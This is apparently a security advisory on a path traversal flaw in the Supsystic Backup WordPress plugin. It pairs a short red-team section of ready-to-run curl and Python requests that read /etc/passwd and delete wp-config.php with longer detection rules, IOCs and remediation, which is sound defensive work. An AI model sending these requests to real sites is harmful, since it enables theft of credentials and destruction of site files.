CVE-2020-37246

Executive Summary

CVE-2020-37246 is a Local File Inclusion (LFI) vulnerability in the Supsystic Backup plugin for WordPress, version 2.3.9. This flaw allows an unauthenticated attacker to read and delete arbitrary files on the server by manipulating the download parameter in admin.php requests. The vulnerability is classified as a Path Traversal (CWE-22) and is publicly known with a CVSS score of 6.2 (Medium). No official patch has been released, making this a critical risk for any WordPress site using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Since the plugin is unpatched, any site running version 2.3.9 is at risk. The lack of a patch means that the supply chain is compromised, and users must either manually apply a fix or remove the plugin entirely.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.2 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is elevated due to the unauthenticated nature of the exploit and the lack of a patch. An attacker can read sensitive files (e.g., /etc/passwd, wp-config.php) and delete arbitrary files, potentially leading to a denial of service or data breach.

Deep Dive & Mechanics

The vulnerability resides in the admin.php file of the Supsystic Backup plugin. The download parameter is not properly sanitized, allowing directory traversal sequences (e.g., ../) to escape the intended directory. An attacker can craft a request like:

http://target.com/wp-admin/admin.php?page=supsystic-backup&download=../../../etc/passwd

This causes the plugin to read and output the contents of /etc/passwd. Additionally, the removeAction parameter can be used to delete files:

http://target.com/wp-admin/admin.php?page=supsystic-backup&removeAction=1&download=../../../wp-config.php

The plugin fails to validate that the requested file is within the allowed backup directory, leading to arbitrary file read and delete capabilities.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.3.9):

// admin.php (simplified)
$download = $_GET['download'];
if (isset($download)) {
    $file = $download;
    // No sanitization or path validation
    readfile($file);
}

Patched Code (hypothetical):

// admin.php (patched)
$download = $_GET['download'];
if (isset($download)) {
    $allowed_dir = WP_CONTENT_DIR . '/uploads/supsystic-backup/';
    $file = realpath($allowed_dir . basename($download));
    if (strpos($file, $allowed_dir) === 0 && file_exists($file)) {
        readfile($file);
    } else {
        wp_die('Invalid file.');
    }
}

The patched version uses basename() to strip directory traversal and realpath() to resolve the path, then checks that the resolved path starts with the allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Supsystic Backup 2.3.9 installed.
• Network access to the site.

Exploit Steps:

1. Read arbitrary file:

   curl "http://target.com/wp-admin/admin.php?page=supsystic-backup&download=../../../etc/passwd"
   

2. Delete arbitrary file:

   curl "http://target.com/wp-admin/admin.php?page=supsystic-backup&removeAction=1&download=../../../wp-config.php"
   

3. Automated exploitation with Python:

   import requests
   
   target = "http://target.com/wp-admin/admin.php"
   params = {
       "page": "supsystic-backup",
       "download": "../../../etc/passwd"
   }
   response = requests.get(target, params=params)
   print(response.text)
   

Blue Team

Detection Steps:

• Monitor web server logs for requests containing page=supsystic-backup and download= with directory traversal patterns (e.g., ../).
• Alert on any removeAction parameter usage.
• Check for unexpected file reads or deletions in the backup directory.

Honeypot:

• Create a fake sensitive file (e.g., /var/www/html/wp-content/uploads/supsystic-backup/fake-config.php) and monitor access.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /wp-admin/admin.php?page=supsystic-backup&download=
  • /wp-admin/admin.php?page=supsystic-backup&removeAction=1&download=
• Log Entries:
  • GET /wp-admin/admin.php?page=supsystic-backup&download=../../../etc/passwd
  • GET /wp-admin/admin.php?page=supsystic-backup&removeAction=1&download=../../../wp-config.php
• File System Changes:
  • Unexpected deletion of files in /wp-content/uploads/supsystic-backup/ or elsewhere.
• Network Traffic:
  • Outbound connections from the web server to unknown IPs (if exfiltrating data).

Detection Engineering

YARA Rule

rule supsystic_backup_lfi {
    meta:
        description = "Detects CVE-2020-37246 LFI attempts in web logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37246"
    strings:
        $lfi_pattern = /page=supsystic-backup.*download=.*\.\.\//
        $remove_pattern = /page=supsystic-backup.*removeAction=1.*download=/
    condition:
        any of them
}

Sigma Rule

title: Supsystic Backup LFI Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2020-37246
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'page=supsystic-backup'
            - 'download='
        cs-uri-query|re: '\.\.\/'
    condition: selection
falsepositives:
    - Legitimate backup file downloads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-37246 Supsystic Backup LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=supsystic-backup"; http_uri; content:"download="; http_uri; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Supsystic Backup plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing page=supsystic-backup and download= with directory traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php) to prevent deletion.

Long-Term Fix:

• Manually patch the plugin by adding input validation as shown in the patched code example.
• Monitor the vendor's website for an official update.

Workaround:

• Use .htaccess to block direct access to admin.php with suspicious parameters:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} page=supsystic-backup [NC]
  RewriteCond %{QUERY_STRING} download= [NC]
  RewriteRule ^ - [F,L]
  

Valters IT
DevSecOps & Cyber Threat Intelligence